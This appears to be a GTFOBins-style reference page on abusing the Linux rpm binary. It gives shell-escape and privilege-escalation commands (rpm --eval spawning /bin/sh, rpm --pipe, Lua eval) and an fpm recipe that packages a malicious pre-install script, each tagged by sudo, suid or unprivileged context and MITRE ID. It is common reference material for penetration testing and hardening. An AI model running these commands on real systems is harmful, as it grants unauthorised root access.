GTFO · Tool

rpm

10 techniquesLinuxGTFOBinsGPL-3.0

command

ExecutionPrivilege EscalationLinux

Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ```

rpm -ivh x-1.0-1.noarch.rpm

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: command
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadPrivilege EscalationLinux

This allows to run Lua code (`...`).

rpm --eval '%{lua:...}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: inherit, from:lua
MITRE: T1059 T1071 T1105 T1005 T1565 T1041
Refs: gtfobins.github.io/gtfobins/rpm/

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadPrivilege EscalationLinux

This allows to run Lua code (`...`).

rpm --eval '%{lua:...}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: inherit, from:lua
MITRE: T1059 T1071 T1105 T1005 T1565 T1041
Refs: gtfobins.github.io/gtfobins/rpm/

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadLinux

This allows to run Lua code (`...`).

rpm --eval '%{lua:...}'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: inherit, from:lua
MITRE: T1059 T1071 T1105 T1005 T1565 T1041
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege EscalationLinux

rpm --eval '%(/bin/sh 1>&2)'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege EscalationLinux

rpm --eval '%(/bin/sh 1>&2)'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionLinux

rpm --eval '%(/bin/sh 1>&2)'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege EscalationLinux

rpm --pipe '/bin/sh 0<&1'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege EscalationLinux

rpm --pipe '/bin/sh 0<&1'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionLinux

rpm --pipe '/bin/sh 0<&1'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/